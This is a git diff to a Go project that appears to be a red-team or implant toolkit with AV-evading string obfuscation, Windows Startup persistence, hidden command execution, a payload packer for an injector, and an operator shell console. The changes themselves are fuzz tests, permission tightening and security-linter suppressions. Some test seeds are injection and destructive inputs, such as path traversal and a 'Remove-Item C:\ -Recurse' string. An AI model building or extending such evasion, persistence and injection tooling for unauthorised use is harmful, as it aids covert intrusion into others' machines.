+} diff --git a/internal/obfuscate/obfuscate.go b/internal/obfuscate/obfuscate.go index 9d8ef0b..830772f 100644 --- a/internal/obfuscate/obfuscate.go +++ b/internal/obfuscate/obfuscate.go @@ -17,7 +17,7 @@ package obfuscate // pepperMask is the fixed constant the pepper itself is stored against, so the // mask key is not a plaintext string in the binary either (a single grep for // the product name must not identify the tool). -func pepperMask(i int) byte { return byte(i*17 + 3) } +func pepperMask(i int) byte { return byte(i*17 + 3) } //#nosec G115 -- deliberate byte-width wrap-around in the mask function // pepperEnc is "obl1t3r4tu5" XOR pepperMask, byte by byte. Stored encoded so // the key does not sit in .rodata as contiguous printable ASCII. @@ -35,7 +35,7 @@ var pepper = func() []byte { // maskByte computes the mask for position i. func maskByte(i int) byte { - return pepper[i%len(pepper)] ^ byte(i*31+7) + return pepper[i%len(pepper)] ^ byte(i*31+7) //#nosec G115 -- deliberate byte-width wrap-around in the mask function } // Mask encodes plain into the masked form embedded in the binary. diff --git a/internal/obfuscate/obfuscate_fuzz_test.go b/internal/obfuscate/obfuscate_fuzz_test.go new file mode 100644 index 0000000..abe32f3 --- /dev/null +++ b/internal/obfuscate/obfuscate_fuzz_test.go @@ -0,0 +1,23 @@ +package obfuscate + +// Fuzz target for the string obfuscator. +// +// There is no parser here, so this pins an invariant rather than hunting a +// crash: Mask and S are exact inverses for every input, and S must never panic +// on arbitrary bytes (it runs on embedded literals at process start). A +// round-trip break means a masked literal in .rodata decodes to the wrong +// value — a silent, hard-to-trace runtime failure. + +import "testing" + +func FuzzMaskRoundTrip(f *testing.F) { + f.Add("AmsiScanBuffer") + f.Add("") + f.Add("\x00\xff\x1b\x7f") // arbitrary bytes: S is byte-wise, not UTF-8 aware + + f.Fuzz(func(t *testing.T, s string) { + if got := S(Mask(s)); got != s { + t.Fatalf("S(Mask(%q)) = %q, round-trip broken", s, got) + } + }) +} diff --git a/internal/persist/persist_windows.go b/internal/persist/persist_windows.go index 4c1800d..e15a2de 100644 --- a/internal/persist/persist_windows.go +++ b/internal/persist/persist_windows.go @@ -124,10 +124,13 @@ func addStartup(name, cmd string) error { if err != nil { return err } - if err := os.MkdirAll(dir, 0o755); err != nil { + // Modes are the tightest that still work: Windows derives the real ACL from + // the parent directory and only honours the read-only bit here, so 0700/0600 + // costs nothing and keeps the intent explicit if this is ever ported. + if err := os.MkdirAll(dir, 0o700); err != nil { return err } - return os.WriteFile(filepath.Join(dir, name+".cmd"), []byte(shimContent(cmd)), 0o644) + return os.WriteFile(filepath.Join(dir, name+".cmd"), []byte(shimContent(cmd)), 0o600) } func removeStartup(name string) error { @@ -155,7 +158,7 @@ const taskPrefix = "OBL_" // runHidden runs a child process with no visible window and returns its // combined output. func runHidden(name string, args ...string) ([]byte, error) { - cmd := exec.Command(name, args...) + cmd := exec.Command(name, args...) //#nosec G204 -- name/args are internal constants and generated task names, never operator input cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true} return cmd.CombinedOutput() } diff --git a/internal/persist/sanitize_fuzz_test.go b/internal/persist/sanitize_fuzz_test.go new file mode 100644 index 0000000..3ef11e2 --- /dev/null +++ b/internal/persist/sanitize_fuzz_test.go @@ -0,0 +1,47 @@ +package persist + +import ( + "strings" + "testing" +) + +// FuzzSanitizeName pins the invariant that makes the persist HTTP API safe: +// whatever a caller puts in the JSON "name" field, the string that ends up as a +// registry value name, a Startup folder filename or a PowerShell argument can +// only contain [A-Za-z0-9._-] and is at most 64 bytes. The table test next door +// covers the cases we thought of; this covers the ones we did not. +func FuzzSanitizeName(f *testing.F) { + for _, s := range []string{ + "obl-update", + "a.b_c9", + `..\evil`, + "../../etc/passwd", + `evil"; Remove-Item C:\ -Recurse #`, + "a b", + "$(calc).exe", + "a`nb", + strings.Repeat("x", 200), + "héllo", + } { + f.Add(s) + } + f.Fuzz(func(t *testing.T, name string) { + got := sanitizeName(name) + if len(got) > 64 { + t.Fatalf("sanitizeName(%q) is %d bytes, want at most 64", name, len(got)) + } + for i := 0; i < len(got); i++ { + c := got[i] + switch { + case c >= 'a' && c <= 'z', c >= 'A' && c <= 'Z', c >= '0' && c <= '9', + c == '-', c == '_', c == '.': + default: + t.Fatalf("sanitizeName(%q) = %q contains %q, outside [A-Za-z0-9._-]", name, got, c) + } + } + // Idempotent: a name that round-trips through the API must not drift. + if again := sanitizeName(got); again != got { + t.Fatalf("sanitizeName is not idempotent: %q -> %q -> %q", name, got, again) + } + }) +} diff --git a/internal/research/pack_fuzz_test.go b/internal/research/pack_fuzz_test.go new file mode 100644 index 0000000..1301274 --- /dev/null +++ b/internal/research/pack_fuzz_test.go @@ -0,0 +1,34 @@ +package research + +// Fuzz target for the packed-payload envelope. +// +// Unpack runs the moment a payload is loaded, and on any --payload file an +// operator points the injector at — potentially an artefact assembled by +// someone else. A truncated or adversarial blob must fail closed and never +// panic. The seed is a genuine Pack output so the fuzzer mutates the envelope +// (lengths, nonce, ciphertext, tag), not just the magic. +// +// The key is fixed and non-secret by design: this target checks parser +// robustness, not confidentiality. + +import "testing" + +func FuzzUnpack(f *testing.F) { + key := DeriveKey("obliteratus-fuzz-seed") + if packed, err := Pack(key, []byte("\x90\x90\x90\xc3 payload placeholder")); err == nil { + f.Add(packed) + } + f.Add([]byte{}) + f.Add(packMagic) + f.Add(append(append([]byte{}, packMagic...), make([]byte, 40)...)) + + f.Fuzz(func(t *testing.T, data []byte) { + if _, err := Unpack(key, data); err == nil { + // A successful decode must at least be self-consistent: anything + // Unpack accepts has to survive a repack round-trip. + if !IsPacked(data) { + t.Fatalf("Unpack accepted a blob IsPacked rejected: %x", data) + } + } + }) +} diff --git a/internal/server/shell_other.go b/internal/server/shell_other.go index 6280cba..7eed6ca 100644 --- a/internal/server/shell_other.go +++ b/internal/server/shell_other.go @@ -8,5 +8,5 @@ import "os/exec" // (the dashboard itself only runs on Windows; this keeps the package buildable // for CI on Linux). func runShell(command string) ([]byte, error) { - return exec.Command("sh", "-c", command).CombinedOutput() + return exec.Command("sh", "-c", command).CombinedOutput() //#nosec G204 -- by design: mirrors the Windows runShell operator console (see SECURITY.md) } diff --git a/internal/server/shell_windows.go b/internal/server/shell_windows.go index b627f68..dbd31af 100644 --- a/internal/server/shell_windows.go +++ b/internal/server/shell_windows.go @@ -10,7 +10,7 @@ import ( // runShell executes one operator-console command through cmd.exe. The child // window stays hidden so no console flashes on the operator's desktop. func runShell(command string) ([]byte, error) { - cmd := exec.Command("cmd", "/c", "chcp 65001 > nul && "+command) + cmd := exec.Command("cmd", "/c", "chcp 65001 > nul && "+command) //#nosec G204 -- by design: the token-authenticated operator console runs arbitrary commands as the token holder (see SECURITY.md) cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true} return cmd.CombinedOutput() }